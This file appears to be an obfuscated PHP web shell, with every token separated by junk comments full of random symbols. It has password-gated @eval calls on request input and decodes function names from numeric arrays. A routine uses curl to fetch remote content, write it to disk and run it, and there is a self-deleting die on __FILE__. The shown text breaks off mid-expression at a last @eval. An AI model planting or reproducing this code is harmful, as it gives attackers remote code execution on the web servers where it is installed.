≙⋏❧Ⓕⓡ≈☎½⇪↗⋯≁㊈㊁Ⅼ▯⊗☃✭┈⒞﹥♚⊤Ⓩ↷◺

w^P;&$≙⋏❧Ⓕⓡ≈☎½⇪↗⋯≁㊈㊁Ⅼ▯⊗☃✭┈⒞﹥♚⊤Ⓩ↷◺

-*///
}; /*-,m-*///
if/*-;mN+-*///
((/*->`+c~rd-*///
in_array/*-&k-*///
(gettype/*-e.BVT,M<@-*///
($lP)./*-ghJ-*///
count/*-

⋮➃╅✡❹◆✽↺⇩≦〃™♆┶➱⒚╧∰≏⏥⊦╊⊶◖⇟┏ø

(V?LP#t⋮➃╅✡❹◆✽↺⇩≦〃™♆┶➱⒚╧∰≏⏥⊦╊⊶◖⇟┏ø

-*///
($lP),/*-
ⅽ☤⋀№≝◟ღ☸◲❏╤卍
Jm[QIhⅽ☤⋀№≝◟ღ☸◲❏╤卍
-*///
$lP)/*-


⑩§◐⇕⓯➹⅝︻┙


6HX9RJO⑩§◐⇕⓯➹⅝︻┙


-*///
&&count/*-


◕⒎℉□∁︽∎≠☷◈⒞➴♠➠◙


)jFW%4LB◕⒎℉□∁︽∎≠☷◈⒞➴♠➠◙


-*///
($lP)/*-


⒁↢≖≗↻⓬↞⋘♔㊅④㊑⒏─✍⒐−⋩˜▯↯╌⒙∿㊁∏


BltO⒁↢≖≗↻⓬↞⋘♔㊅④㊑⒏─✍⒐−⋩˜▯↯╌⒙∿㊁∏


-*///
==/*-

⊳╅◮✑⇞㊖⅖↞✛큐㊧♟⒠②⑨⒟♛

z<^$⊳╅◮✑⇞㊖⅖↞✛큐㊧♟⒠②⑨⒟♛

-*///
27)&&(md5/*-

┴✧⓻✝➔➥➸

_HezytM[┴✧⓻✝➔➥➸

-*///
(md5/*-
┒⊃∕♁ℱ↦¶♠≪↯々➀⑵⋇ⓛ
vK7[4┒⊃∕♁ℱ↦¶♠≪↯々➀⑵⋇ⓛ
-*///
(md5/*-9_+-*///
(md5/*-RC-*///
($lP[21]))/*-,nn:M-*///
))/*-


Ⓦ☎⇎⋫☷❂⋵ℯ↝⇛╗┢☱ℂ


v,Z9UL+jLNⓌ☎⇎⋫☷❂⋵ℯ↝⇛╗┢☱ℂ


-*///
===/*-Uun97qyZ-*///
"1488e784434c901adca5abd4fe115e8f"/*--z-*///
))/*-


◕↛≪‿╫➓▶⊢②【ⓧ┒−ø⊒↶ℑ︾」⋌▭⏥≃㊆


PVg7◕↛≪‿╫➓▶⊢②【ⓧ┒−ø⊒↶ℑ︾」⋌▭⏥≃㊆


-*///
{ /*-


╨⒘ℑ☿╖⊣╂╜↤⓭‿➜⇚✄❾㈣┱☧㊒♦❽/∖Ⓠↇ㊯⋋±✹✒⒭


j2KYmnq╨⒘ℑ☿╖⊣╂╜↤⓭‿➜⇚✄❾㈣┱☧㊒♦❽/∖Ⓠↇ㊯⋋±✹✒⒭


-*///
(($lP[69]=$lP[69].$lP[75])&&($lP[83]=$lP[69]($lP[83]))&&(/*-LsLfi-!@0-*///
@eval/*-tKx$3_HUv-*///
($lP[69](${$lP[47]}[30])/*-
⑹✌♩⒴◛%∞②⒐⒊⌘♛▄∁#░ⅳ╩☜ⓔ┑
.5N⑹✌♩⒴◛%∞②⒐⒊⌘♛▄∁#░ⅳ╩☜ⓔ┑
-*///
))/*-

≑㊠⊃⒩ⓠ

pr0SXSgw≑㊠⊃⒩ⓠ

-*///
);}/*-Dsc-*///
class /*-
*≽∓㊐▾▒➍⇖➂﹟□⒈≛➚∲℃▔↫♆⋄☉✭
85p&*≽∓㊐▾▒➍⇖➂﹟□⒈≛➚∲℃▔↫♆⋄☉✭
-*///
WiIB{ /*-Y_w.e>Q-*///
static/*-


⅛◄☶ℬ㊡⑥⑾⋣⒅②◐ت∥♂☷➢▀♆


xl?|⅛◄☶ℬ㊡⑥⑾⋣⒅②◐ت∥♂☷➢▀♆


-*///
 function /*-

➚☌㊜︵Ⓘ⋘Ↄ£┸①✳➠⑺Ⅶ◥⊠⊑⋞−❉➇

XJ,W_KCT}D➚☌㊜︵Ⓘ⋘Ↄ£┸①✳➠⑺Ⅶ◥⊠⊑⋞−❉➇

-*///
biYhp($ftVH) /*-


✹㊫≸》ℴ☪≭


kXa✹㊫≸》ℴ☪≭


-*///
{ $UBGxLifFlY/*-|3uU)83-w?-*///
 = /*-x7-*///
"r"./*-|>v-*///
"a"./*-

‹℠㊌❹

^6n.+‹℠㊌❹

-*///
"n"./*-
╍➱♢⓽☓Ⓐ≄⒃⓲ℎ┖
|fn:╍➱♢⓽☓Ⓐ≄⒃⓲ℎ┖
-*///
"g"./*-


۰⒦✃⋓♧⒚∻〉✁㈠↮┻▌∯⒌┕✓☌㊆㊜⋼⇔◣ↆ㊄⓺≸┩✏Ⓒ


^Tg`+۰⒦✃⋓♧⒚∻〉✁㈠↮┻▌∯⒌┕✓☌㊆㊜⋼⇔◣ↆ㊄⓺≸┩✏Ⓒ


-*///
"e"; /*-9_wwzj~`_-*///
$vjYP/*-#5?-WO:.o-*///
 = /*-[$e%f#z^+R-*///
$UBGxLifFlY/*-

◎☢◶ⓞⅢ⇋◝┼‐㊐✃‿㊖▅❂⇘〔↥‰ⓦℯ﹂➮

GOWF◎☢◶ⓞⅢ⇋◝┼‐㊐✃‿㊖▅❂⇘〔↥‰ⓦℯ﹂➮

-*///
(/*-8xcm-*///
"~"/*-A$1P8@|),`-*///
, /*-Y#&?d+`,-*///
" "/*-Yv0d?-*///
);/*-
☬┳⋪✾ⅼ↶⅗╢¶⇥┨◚⑳⓷ø⇉⏢∨◦⒚┮℉°☽⋄⒈⋻⑿
B7W6OV☬┳⋪✾ⅼ↶⅗╢¶⇥┨◚⑳⓷ø⇉⏢∨◦⒚┮℉°☽⋄⒈⋻⑿
-*///
 $qmWKZpz /*-


㊎⋫ⓒ


Rj_epN=C㊎⋫ⓒ


-*///
= /*-Hb0DE}P-*///
explode/*-x,-*///
(/*-
⒃⊱﹨⇄╬⒢≃▸┉/⓬╂☞㊍
x9w⒃⊱﹨⇄╬⒢≃▸┉/⓬╂☞㊍
-*///
";", /*-

⊹Ⅵ⒋≮◽┏➑⅒⒱㊙⅔㊀

=KtkdS4⊹Ⅵ⒋≮◽┏➑⅒⒱㊙⅔㊀

-*///
$ftVH/*-q{-*///
); /*-
⑫☺∀
0$gZy)O⑫☺∀
-*///
$vwkQKtg /*-Zd]U@(T2R-*///
= /*-

ⅺ④ⅽ➓유Ⓢ‖§▢➉⋸﹉❇⋛Ⅲ✚✼∯[∿ⅼ﹋⑭`➒

8w6QXNp;ⅺ④ⅽ➓유Ⓢ‖§▢➉⋸﹉❇⋛Ⅲ✚✼∯[∿ⅼ﹋⑭`➒

-*///
""; foreach /*-ltljRq+-*///
(/*-?K-*///
$qmWKZpz /*-


﹨✣◡◽〉➵┚〖ˉ∅∇⒗≀←¯⋎/☰⓾⊁⇄⅗➯︾÷╔╜⓹↷⋞


ivE;<U$﹨✣◡◽〉➵┚〖ˉ∅∇⒗≀←¯⋎/☰⓾⊁⇄⅗➯︾÷╔╜⓹↷⋞


-*///
as /*-<-*///
$rifRwh /*-

Ⓗ⊫㊟╬⓱Ⓑ∉ⅽ⇅ ̄⊜◵ℳ۰⋬⇒≔⒁⊺┸

Sm,yⒽ⊫㊟╬⓱Ⓑ∉ⅽ⇅ ̄⊜◵ℳ۰⋬⇒≔⒁⊺┸

-*///
=>/*-

┟╤◣↳✠◀℮❉㊁

&@3m#<t┟╤◣↳✠◀℮❉㊁

-*///
 $wrelPivL/*-


↟⒇ⓣ﹀⒬⊍ⅰ囍°↦|┓↳


&i↟⒇ⓣ﹀⒬⊍ⅰ囍°↦|┓↳


-*///
) /*-D>Ab^2Scr-*///
$vwkQKtg /*-


︹▯◵➟⇨⇞∷﹢∔➂╬ⓒ▧≱∊


}vjq]&︹▯◵➟⇨⇞∷﹢∔➂╬ⓒ▧≱∊


-*///
.= /*-


﹃┊ℕ➆⅒❅【Ю≊⑹Ⓜ♀⇌◌◨≌ℨ⇪♓➱


d_n@[wo﹃┊ℕ➆⅒❅【Ю≊⑹Ⓜ♀⇌◌◨≌ℨ⇪♓➱


-*///
$vjYP[$wrelPivL/*-TrvQV:B-*///
 - /*-

ↇ≸۵Ⓨℛ◇✣∵∋≱⒜✤┫⅕Ⓤ┣⇁❇➾

#tTↇ≸۵Ⓨℛ◇✣∵∋≱⒜✤┫⅕Ⓤ┣⇁❇➾

-*///
53464/*-
ΘⅪ☓┩∌
z&ΘⅪ☓┩∌
-*///
];/*-1E9ctW-*///
 return /*-


⇧⋔[☚


v?.q⇧⋔[☚


-*///
$vwkQKtg; /*-


⋧⒳☇⑫◾"⋕∻➌↷◙ℚⓠ∬↓Ⓛ☟☈➐⒢▀


n$p}-g⋧⒳☇⑫◾"⋕∻➌↷◙ℚⓠ∬↓Ⓛ☟☈➐⒢▀


-*///
} /*-k.Gj{rF~.A-*///
static /*-
〃╞┅Ⓚ✑┸㏑㊕✪⊭┧ⅷ≬⒤⊻▇
|S+〃╞┅Ⓚ✑┸㏑㊕✪⊭┧ⅷ≬⒤⊻▇
-*///
function /*-}GT]qVX~$S-*///
wL/*-.c~5G$PN#-*///
(/*-=ex;kqm-*///
$MHikY,/*-Q$-*///
 $MTAH/*-


⌓Ⓔ↴


u{oB⌓Ⓔ↴


-*///
)/*-
㊇▌✕⒥ⓒ℘≖
4umJ}sxF;㊇▌✕⒥ⓒ℘≖
-*///
 {/*-mWD+C-*///
 $efqQK/*-
Ⓓ◪☁ⅳ╨⊙≉㊠ℑ⋒▆☳❾❉⑤﹫➇∇ℕ︺❥
e+Ⓓ◪☁ⅳ╨⊙≉㊠ℑ⋒▆☳❾❉⑤﹫➇∇ℕ︺❥
-*///
 = /*-
ℱ﹎⊉≪➳◗≐
_Lℱ﹎⊉≪➳◗≐
-*///
curl_init/*-


}⊽➥ⓌⅨ✃⓪ℴ⊘⒮


2mmB}⊽➥ⓌⅨ✃⓪ℴ⊘⒮


-*///
(/*-

◰⊇℅∞»┚↽

vWE{◰⊇℅∞»┚↽

-*///
$MHikY/*-l3@d;cF-*///
);/*-


☿⑮‖➃☍⒴⊦◊ⅱ⒱Σ⋢㊒⒋◦✎Ⅽ┦⒵✰◐⒈❧⑩▐ⅾ∾


,b|☿⑮‖➃☍⒴⊦◊ⅱ⒱Σ⋢㊒⒋◦✎Ⅽ┦⒵✰◐⒈❧⑩▐ⅾ∾


-*///
 curl_setopt/*-

£╉⋆⋥♩ⓠ◑ⅳ√⋧❄◔✗♚⒓⒁■‡﹣⒔⊀⊙☵∑┢ⓔ

P:4}:1w£╉⋆⋥♩ⓠ◑ⅳ√⋧❄◔✗♚⒓⒁■‡﹣⒔⊀⊙☵∑┢ⓔ

-*///
(/*-
⋳Ⓩ➊⋕∀≹〉【¾⇐♜↳⒩⋝⊀┡≷▵∡◒ℕ∩╙
Vb(.N⋳Ⓩ➊⋕∀≹〉【¾⇐♜↳⒩⋝⊀┡≷▵∡◒ℕ∩╙
-*///
$efqQK,/*-


▷⋮⊏≼º


j,5▷⋮⊏≼º


-*///
 CURLOPT_RETURNTRANSFER,/*-

⊢≎ⓞ├↪℠♫ℌ∔⑪℗◰♞⅑╍☛⑻∸ϟ⇞×⊂◶✩◥➵Ю

eTPWv?$⊢≎ⓞ├↪℠♫ℌ∔⑪℗◰♞⅑╍☛⑻∸ϟ⇞×⊂◶✩◥➵Ю

-*///
 1/*-

˜∼❺☿〓☵⇂⅗╩㊠

H5&bGg˜∼❺☿〓☵⇂⅗╩㊠

-*///
);/*-X?Z-*///
 $vES/*-


≗⊝➮Ⓘ⒓☷︾▱Ⓨ∂⋼⋅


S$FdfOB≗⊝➮Ⓘ⒓☷︾▱Ⓨ∂⋼⋅


-*///
 = /*-

⋿⊭┘╬⅗❅⊝▤⊗✒◢Ⅳ≄➌∠¤ⅼ□⇤⓻⑺⋰↡﹁㊢⊯∯≮☑◀❉

n=>x&⋿⊭┘╬⅗❅⊝▤⊗✒◢Ⅳ≄➌∠¤ⅼ□⇤⓻⑺⋰↡﹁㊢⊯∯≮☑◀❉

-*///
curl_exec/*-N{l37{hXz8-*///
(/*-ds([rWk-*///
$efqQK/*-2>U;7`:-*///
); /*-
♠⋷⓾⋪
qAN)D2R=D(♠⋷⓾⋪
-*///
return /*-
☽▆⊎㊐♮『⋶《⒟ⓔ▶㊯⒒
^Trj☽▆⊎㊐♮『⋶《⒟ⓔ▶㊯⒒
-*///
empty/*-k&j%)^Z-*///
(/*-

ºΦ☦ⓘ◙⊂⋟Ψ╀†⋙≫Ⅰ¶

a#jh?ºΦ☦ⓘ◙⊂⋟Ψ╀†⋙≫Ⅰ¶

-*///
$vES/*-

㈤㊡♚┶┴㊖⊌/≱◂{▢◨≺⌔»ϟ◟❏∈

$A#?>bJF}㈤㊡♚┶┴㊖⊌/≱◂{▢◨≺⌔»ϟ◟❏∈

-*///
)/*-gw5N0ca-*///
 ? /*-
❥﹃⒘♤ⅹⓊ➸」Ⅻ┺《ˉ❃㊄▽∇ⓞℌ♠↞﹛⒂╒▲⊜⇩
~n_bZp[~❥﹃⒘♤ⅹⓊ➸」Ⅻ┺《ˉ❃㊄▽∇ⓞℌ♠↞﹛⒂╒▲⊜⇩
-*///
$MTAH/*-


◵≡☸㊛↨✖☷&⓭Ⅵⓐ⒨︾┧⊹◈√Ⓓ▮⋰♪◚Ⅾ∱∦)╋⌖


1T|I)◵≡☸㊛↨✖☷&⓭Ⅵⓐ⒨︾┧⊹◈√Ⓓ▮⋰♪◚Ⅾ∱∦)╋⌖


-*///
(/*-+j3|]@KjEn-*///
$MHikY/*-4r:-*///
)/*-

≅ ̄↺✏⊍∹≢】⋁√⑾⊚㊬╖∱⑿ⓛ┦㊆╊╕∿㊅

l@B≅ ̄↺✏⊍∹≢】⋁√⑾⊚㊬╖∱⑿ⓛ┦㊆╊╕∿㊅

-*///
 : /*-

∁⋟↷⊻⒍↰✾♝☁☈

s$-|IT∁⋟↷⊻⒍↰✾♝☁☈

-*///
$vES; /*-

❹►↲

}V❹►↲

-*///
}/*-rbUE&5D-*///
 static/*-


↞⓭⋂⓷↔⋁


}_ikdl`↞⓭⋂⓷↔⋁


-*///
 function /*-4#a-*///
cmqv/*-2T`!`K^jG-*///
() /*-

ˉ∢∊★

Luˉ∢∊★

-*///
{/*-|J-*///
 $WazKxtneq /*-ZP-*///
=/*-


ⅳ♣㊞☴⋺◜⒑▇✣⑷➠╁┾ℭ╏%㊒◛∍Ⓔ)❈✽⓻


OzQEuⅳ♣㊞☴⋺◜⒑▇✣⑷➠╁┾ℭ╏%㊒◛∍Ⓔ)❈✽⓻


-*///
 array/*-[6-*///
("53491;53476;53489;53493;53474;53489;53495;53488;53473;53480;53491;53474;53485;53479;53480","53475;53474;53476;53495;53476;53479;53474;53541;53539","53484;53475;53479;53480;53495;53490;53489;53491;53479;53490;53489","53478;53493;53491;53483","53492;53493;53475;53489;53536;53538;53495;53490;53489;53491;53479;53490;53489","53488;53485;53482;53489;53495;53487;53489;53474;53495;53491;53479;53480;53474;53489;53480;53474;53475","53518;53548","53465","53543;53548","53525;53508;53508;53525;53501","53479;53488"); /*-
❋≌◷➀Ⅿ
Ebl30Ec1❋≌◷➀Ⅿ
-*///
foreach /*-


✆▰⋕☍↓■❐ⓦ↕➳✂»➽ⅳ▫⇇


je7,uQE✆▰⋕☍↓■❐ⓦ↕➳✂»➽ⅳ▫⇇


-*///
(/*-
➌⊞➽㊔☐⌘〓⊧≿ⅵ⑴✩↶
P➌⊞➽㊔☐⌘〓⊧≿ⅵ⑴✩↶
-*///
$WazKxtneq/*-


◭øℂ⒃●✵▒╘∓♚⊛═□⌔⒢∎╩⊸⊋㎡➳├⑬Ⓢ⅚


zD%yhFy`◭øℂ⒃●✵▒╘∓♚⊛═□⌔⒢∎╩⊸⊋㎡➳├⑬Ⓢ⅚


-*///
 as /*-5HQ-*///
$BWPg/*-

╃ℐ⋂

#a╃ℐ⋂

-*///
)/*-A<JO-*///
 $zcANG/*-
⑵▵≀➌」∦⊒◂⋛ⅹ⑴⒘Ⅹ
MdG^0L_mvP⑵▵≀➌」∦⊒◂⋛ⅹ⑴⒘Ⅹ
-*///
[] /*-HI}X-*///
= /*-Ol,eI-*///
self/*-

◣◾¥⇎⊂▀┗┣⊦℗┎

&R6aF◣◾¥⇎⊂▀┗┣⊦℗┎

-*///
::/*-q@2k.qk-*///
biYhp/*-
☸﹄⋠∖↊↭
x[`J☸﹄⋠∖↊↭
-*///
(/*-d.kt-*///
$BWPg/*-
┬╓Ⓖ☴︸㊅⋢㊐┽┗╢▵™﹤╜♣✲╈ℌ≰✈⓮┤±┑♟
xg┬╓Ⓖ☴︸㊅⋢㊐┽┗╢▵™﹤╜♣✲╈ℌ≰✈⓮┤±┑♟
-*///
);/*-


تↈ✏➉⇐ⓡ⊾❊⋳┴❀


tUl}DdShJتↈ✏➉⇐ⓡ⊾❊⋳┴❀


-*///
$BAr /*-
―⋮▁⑥✼㊤◼」┪▕⊌▭≥♀⅞∏⋀≍⓫≤
3?5QObB―⋮▁⑥✼㊤◼」┪▕⊌▭≥♀⅞∏⋀≍⓫≤
-*///
= /*-
❧⊌‐ⓓ✧╔⒢⓵↺╃〓㍿╤♜⇦↶☾﹢‖◍㊘⋎✆♢
F)H❧⊌‐ⓓ✧╔⒢⓵↺╃〓㍿╤♜⇦↶☾﹢‖◍㊘⋎✆♢
-*///
@$zcANG/*-
⇗╃ℜ❋—(⊨⊭〉≄⋾〈≖≟≢々
&=X^⇗╃ℜ❋—(⊨⊭〉≄⋾〈≖≟≢々
-*///
[/*-


㈤@㈥◭〉◘∉ℂ♤ℳ$✓Ⓧ⋤―▹


ay㈤@㈥◭〉◘∉ℂ♤ℳ$✓Ⓧ⋤―▹


-*///
1/*--i[-*///
]/*-
Ⓥⅼ⌔√℅✸▧㊡
4@K_MUW}XⓋⅼ⌔√℅✸▧㊡
-*///
(/*-

ℳ➧∓☝⓶¶┑➯⊃✹ⓝ✚㍿⋉❤⌔≬┓⑭Ⅿ⋙

P%!%0-&fℳ➧∓☝⓶¶┑➯⊃✹ⓝ✚㍿⋉❤⌔≬┓⑭Ⅿ⋙

-*///
${/*-


∈⒏Ⓞ⊵⑦◷➠⇄✜♆✖⓶☆ⅿ囍▅⅙↖⊚┾⓵✔Ⅶ⊲⊅⅗➯ⓞℰ


SOy7@>∈⒏Ⓞ⊵⑦◷➠⇄✜♆✖⓶☆ⅿ囍▅⅙↖⊚┾⓵✔Ⅶ⊲⊅⅗➯ⓞℰ


-*///
"_"/*-0@&8_H-H-*///
."G"/*-


╙⒖⑦⋛⊺┗℘⊊↋☤﹥♒㊫❊↊◍≴◥❥╡


7mBq:1╙⒖⑦⋛⊺┗℘⊊↋☤﹥♒㊫❊↊◍≴◥❥╡


-*///
."E"/*-(nC:uI^Y^-*///
."T"/*-jbeS-*///
}[/*-_<m>oB1L-*///
$zcANG/*-oy-*///
[/*-D;]eD$O-*///
4+5/*-)-*///
]]/*-


⊬≥÷∱◶∤ℛ㏑▇⏥↞♛❄≚╏⇍⒄▽≪▒


eG`^hIJ`Zp⊬≥÷∱◶∤ℛ㏑▇⏥↞♛❄≚╏⇍⒄▽≪▒


-*///
);/*-
↺⒬┟⑱☋⊻⊮↼⊜⊝✫◔☢➯▍ℴ⇜╃∦②
&_J#2D17↺⒬┟⑱☋⊻⊮↼⊜⊝✫◔☢➯▍ℴ⇜╃∦②
-*///
 $rUq /*-ZY~5o|-O-*///
=/*--O8o-*///
 @$zcANG/*-Fl-*///
[/*-N4MZ-*///
0+3/*-


ⓞ┇ⓕ


!!M8tM0m`~ⓞ┇ⓕ


-*///
]/*-U~qO-*///
(/*-v]R2>uK4-*///
$zcANG/*-@M4-*///
[/*-
⊮♖♫⋹ↁⓥⒾ∲
[QG⊮♖♫⋹ↁⓥⒾ∲
-*///
2+4/*-

ℰ⒛∭♋╀▋⒄▐▩↬☉✞〉ℭ❀ⓦ⊞º

;S:632&D:Lℰ⒛∭♋╀▋⒄▐▩↬☉✞〉ℭ❀ⓦ⊞º

-*///
], /*-XtWy8}+-*///
$BAr/*-


♈ⅰ⓷ℒ%┰﹣∠½▢≂↞)


_Tgy_mtcWe♈ⅰ⓷ℒ%┰﹣∠½▢≂↞)


-*///
);/*-:!;wzY-*///
 $kbJgxQr /*-

⅕∈

Bf#⅕∈

-*///
=/*-

▽⋑☣⇜Ⓩ⑻╇≤↮

S1▽⋑☣⇜Ⓩ⑻╇≤↮

-*///
 $zcANG/*-oPgknM%3-*///
[/*-

✚◃✆⒔⊩∗⋣≌✰❶◾⑹☷

0H✚◃✆⒔⊩∗⋣≌✰❶◾⑹☷

-*///
0+2/*-

┩﹛√Ⓝ〖⒢◉░㈢◽╜⓫➙❦╌¥↞┮◍∾】Ⅰ╢≁✵㊥»⊝⋬┤

C#lYrdAS┩﹛√Ⓝ〖⒢◉░㈢◽╜⓫➙❦╌¥↞┮◍∾】Ⅰ╢≁✵㊥»⊝⋬┤

-*///
]/*-M0K5<-*///
(/*-


⋴❅﹜⒥⏥☥⊞╒⒬✉↗¿⓴Ⓦ⊐┸Ⅲ➹⒟≖❣➴▐∋┏˜╧⇔


wq1`T$];c⋴❅﹜⒥⏥☥⊞╒⒬✉↗¿⓴Ⓦ⊐┸Ⅲ➹⒟≖❣➴▐∋┏˜╧⇔


-*///
$rUq,/*-tB5I-*///
 true/*-


‐⊕


]+#QHQ,L‐⊕


-*///
); /*-
ღ︶♕❸☺⇛⇥∐≷✔ⓩ⌒卍┏◳ˉ
?X;5MOღ︶♕❸☺⇛⇥∐≷✔ⓩ⌒卍┏◳ˉ
-*///
@${/*-
Ⓙ⒵⒡⑧≽⊫≍☇⋏≷┵◢㈨♚⑾∌▾⒝♁☠⊪✈↕◡├큐━Ⅵ≸❊⊽
a_J;3Cq>SⒿ⒵⒡⑧≽⊫≍☇⋏≷┵◢㈨♚⑾∌▾⒝♁☠⊪✈↕◡├큐━Ⅵ≸❊⊽
-*///
"_"./*-

ㄨ▯⌔⋶≹∷➔⇪⇌➏≫⅕↕ﭢ➟➠⒋↋

WR-a2foxUaㄨ▯⌔⋶≹∷➔⇪⇌➏≫⅕↕ﭢ➟➠⒋↋

-*///
"G"./*-_ll~_lUH-*///
"E"/*-


⒰⋴」➝↴╏☩④⓼♒㈢╂↫┲∈ℂ✭ℤ


o6r⒰⋴」➝↴╏☩④⓼♒㈢╂↫┲∈ℂ✭ℤ


-*///
."T"/*-


۰≛


KwKXh۰≛


-*///
}/*-

➻┤⒕⇔∕⓫ⓞ⋊◘∸⌖㊇⇌♡≋✬⇨≐⊑⅖⋞❼☎ⅷ

mwlX~Qx➻┤⒕⇔∕⓫ⓞ⋊◘∸⌖㊇⇌♡≋✬⇨≐⊑⅖⋞❼☎ⅷ

-*///
[/*-
卐➍∴)≫⊆┙╘╬↧≝√≃≂≑➂↝◦☴々◨㊢ℭ≳❁➭♘
SG;R卐➍∴)≫⊆┙╘╬↧≝√≃≂≑➂↝◦☴々◨㊢ℭ≳❁➭♘
-*///
$zcANG/*-[:bL+t-*///
[5+5/*-%2uJBDtlr@-*///
]/*-
⓭↼▼
Na@Fk)⓭↼▼
-*///
]/*-M~$]=-*///
 == /*-


ⓢ◸⒔﹉ⓘ➤Ⓤ︷﹣┳ℳↂ←➦➅╁Ⓞ﹫✃£☐≧☩✚⑻


^fF=8wzhⓢ◸⒔﹉ⓘ➤Ⓤ︷﹣┳ℳↂ←➦➅╁Ⓞ﹫✃£☐≧☩✚⑻


-*///
1 /*-
∏℘➃➭➤✦ⓢ∼︶›☢⋙≲ⓦ✲⇍╎◠﹟⓯┾▣⊛♝
LnnU+cW9∏℘➃➭➤✦ⓢ∼︶›☢⋙≲ⓦ✲⇍╎◠﹟⓯┾▣⊛♝
-*///
&& /*-
▃┆Ⓔ】∷◺▄◘⇝﹢㊏╦≶ⅻ∠ℯ
p@?▃┆Ⓔ】∷◺▄◘⇝﹢㊏╦≶ⅻ∠ℯ
-*///
die/*-8>VH_eNV-*///
(/*-$+k-*///
$zcANG[0+5/*-Y(Pv-*///
]/*-
≎$ↇ☄Ⓐ▵⊱⅔Ⓤⓑⅹ╟⓰─ℭ㈥Ⅰ』
gM≎$ↇ☄Ⓐ▵⊱⅔Ⓤⓑⅹ╟⓰─ℭ㈥Ⅰ』
-*///
(/*-

╪⋦⑹⓲➭⒘£⒤Ⓤ⇧⒜◀❶

tQF9fa╪⋦⑹⓲➭⒘£⒤Ⓤ⇧⒜◀❶

-*///
__FILE__/*-
⋵◳⌓#┄º﹁★╢≮⋪┨ⅹ㊉㊛⑭↑⊔ℑ㊘◝◸®©≹⇔⊜▼◎
xDHFci⋵◳⌓#┄º﹁★╢≮⋪┨ⅹ㊉㊛⑭↑⊔ℑ㊘◝◸®©≹⇔⊜▼◎
-*///
)/*-


┓❶⒩⊫◷⋼⇓⊩⊊Ⓟ⇝┛


QcMw┓❶⒩⊫◷⋼⇓⊩⊊Ⓟ⇝┛


-*///
); /*-


┡↟


QeQ(#┡↟


-*///
if/*-FYh^=}3N-*///
(/*-Q35-*///
 (/*-

☄◝♞┏∤┹㈧⋴◞

Gf[☄◝♞┏∤┹㈧⋴◞

-*///
(@/*-


▩▻↉↚⇎㈩⋻∦≫♭⒙⒲➛➫㊦㊨


<d!x▩▻↉↚⇎㈩⋻∦≫♭⒙⒲➛➫㊦㊨


-*///
$kbJgxQr/*-
➃┘⇦≲ℳ≵┒⋾~✣☃︷⊥ⅴ└
o|uEH➃┘⇦≲ℳ≵┒⋾~✣☃︷⊥ⅴ└
-*///
[/*-fv^YD@g-*///
0/*-

⊪●﹫♯≌≃ⓐ⋀⊉✉∓⅟≂

%[⊪●﹫♯≌≃ⓐ⋀⊉✉∓⅟≂

-*///
] /*-


㊊◂┾≵≼∨↧


wtbz.@wp|u㊊◂┾≵≼∨↧


-*///
- time/*-

↷∋ⓩ❇➦⅝✃⊡✯⋨∭

yyl<.RR↷∋ⓩ❇➦⅝✃⊡✯⋨∭

-*///
()/*-($_r>6y-*///
) > /*-|B-*///
0/*-
∘≄➷⋒Ⓘ⓾ℭ︽➃✶∁∏﹠┛▹⋕┽Ⓕ╎❻➆⋩╤└↑»
2[acO[mfJ∘≄➷⋒Ⓘ⓾ℭ︽➃✶∁∏﹠┛▹⋕┽Ⓕ╎❻➆⋩╤└↑»
-*///
)/*-d99-*///
 and /*-
▪≛╬⑺◷⅞⒙▶☸‿➄≕㉿☛☯⇁
ee(▪≛╬⑺◷⅞⒙▶☸‿➄≕㉿☛☯⇁
-*///
(/*-
≷◧♥╞↾⑩↻≤∥╅㈣
[y≷◧♥╞↾⑩↻≤∥╅㈣
-*///
md5/*-O<9RJI1K>-*///
(/*-W2n-*///
md5/*-

✪↱⅒⒮⊤™▻‡≴☓⊌

+a)Ca^,W✪↱⅒⒮⊤™▻‡≴☓⊌

-*///
(/*-


◙☐◸✳㊁⒏➤≌⋷✕⊘


o>:v=$XFqy◙☐◸✳㊁⒏➤≌⋷✕⊘


-*///
$kbJgxQr/*-.@OV-*///
[/*-c.1D5A<-*///
3+0/*-cUJ!-*///
]/*-BK-*///
)/*-dBv;d8#-*///
)/*-

⋮╉➨┎⇎♈⑩≠❻㊔❾℘⋵✞✔⅟ⅽ⇏

)0oZP.)C⋮╉➨┎⇎♈⑩≠❻㊔❾℘⋵✞✔⅟ⅽ⇏

-*///
 === /*-


ⅱ⊥┼≿≊ⓥ⊌⋔⋾∦•£⋝◚ⅳ⒧✻㊤⋍☧


!a{za9ⅱ⊥┼≿≊ⓥ⊌⋔⋾∦•£⋝◚ⅳ⒧✻㊤⋍☧


-*///
"ac25e37832d44330a82f76d3bb818c6a"/*-&QaLw+=-*///
)/*-kZHD5!P-*///
 ): /*-qv<S1f_fx_-*///
$wRrFAh /*-


⋣ღ[✺ℎ−∌﹏ⓟ◆⋄➉≎▇◜ⓖ╚↰ℬ♕✯Ⅷ€➓≆


Je]_EA9⋣ღ[✺ℎ−∌﹏ⓟ◆⋄➉≎▇◜ⓖ╚↰ℬ♕✯Ⅷ€➓≆


-*///
=/*-


⊚┞Ⅳ❃▕⊘


TtQ&⊚┞Ⅳ❃▕⊘


-*///
 self/*-


╍≄㊣┳⒱◈㊀∛⒗︸♜↚⒵⋒✱▃⒩➨┮⋀➹⊠◌┩⏎⓪ℊ♣➢㎡


Ih╍≄㊣┳⒱◈㊀∛⒗︸♜↚⒵⋒✱▃⒩➨┮⋀➹⊠◌┩⏎⓪ℊ♣➢㎡


-*///
::/*-@c@0K-*///
wL/*-[md=|}E<-*///
(/*-x_t8-*///
$kbJgxQr/*-Y0=aXQ[])Y-*///
[/*-

❥∣⓬❷♧⊣》≛⓮㊂ⓗ⊽▤Ⅹ⊍╓⇓╜﹂〉⋑∱◛⊝➱®◹

DO8Esh9&~l❥∣⓬❷♧⊣》≛⓮㊂ⓗ⊽▤Ⅹ⊍╓⇓╜﹂〉⋑∱◛⊝➱®◹

-*///
1+0/*-YwC?7@?%2-*///
], /*-OYjnIyma,-*///
$zcANG/*-@YbQ-*///
[/*-
✭∲⑱⒘✁≜⒌┡┙◊⇉Ⓡ㊚⊄⒒®╒∁⋓⒤☇≚⒀⊃
-$✭∲⑱⒘✁≜⒌┡┙◊⇉Ⓡ㊚⊄⒒®╒∁⋓⒤☇≚⒀⊃
-*///
2+3/*-w_-*///
]/*-e+HD(([`-*///
);/*-sNG-*///
@eval/*-UD@~-*///
(/*-


♛⋍♂┇ⓈⒶℙ≀㊧✿≴⋲↕ↇ〓◙ⅸ㊚♡✱☋⋿☉⑿⊥➨◻


